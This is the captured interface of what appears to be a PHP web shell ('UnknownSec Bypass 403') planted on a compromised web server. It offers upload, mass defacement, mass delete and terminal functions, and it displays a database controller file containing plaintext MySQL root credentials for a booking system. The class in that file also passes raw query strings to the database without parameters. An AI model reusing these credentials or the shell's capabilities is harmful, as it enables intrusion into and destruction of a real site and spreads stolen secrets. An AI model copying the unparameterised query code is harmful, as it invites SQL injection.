UnknownSec Bypass
403
:
/
var
/
www
/
html
/
adminpnl
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
dbcontroller.php
<?php class dbcontroller { private $host = "localhost:3306"; private $user = "root"; private $password = "vG!fM@*p!8#3P3bss(_%FE"; private $database = "stbookingslotdb"; private $conn; function __construct() { $this->conn = $this->connectDB(); } function connectDB() { $conn = mysqli_connect($this->host,$this->user,$this->password,$this->database); return $conn; } function runQuery($query) { $result = mysqli_query($this->conn,$query); while($row=mysqli_fetch_assoc($result)) { $resultset[] = $row; } if(!empty($resultset)) return $resultset; } function numRows($query) { $result = mysqli_query($this->conn, $query); $rowcount = mysqli_num_rows($result); return $rowcount; } function executeQuery($query) { $result = mysqli_query($this->conn, $query); return $result; } } ?>
Copyright © 2025 - UnknownSec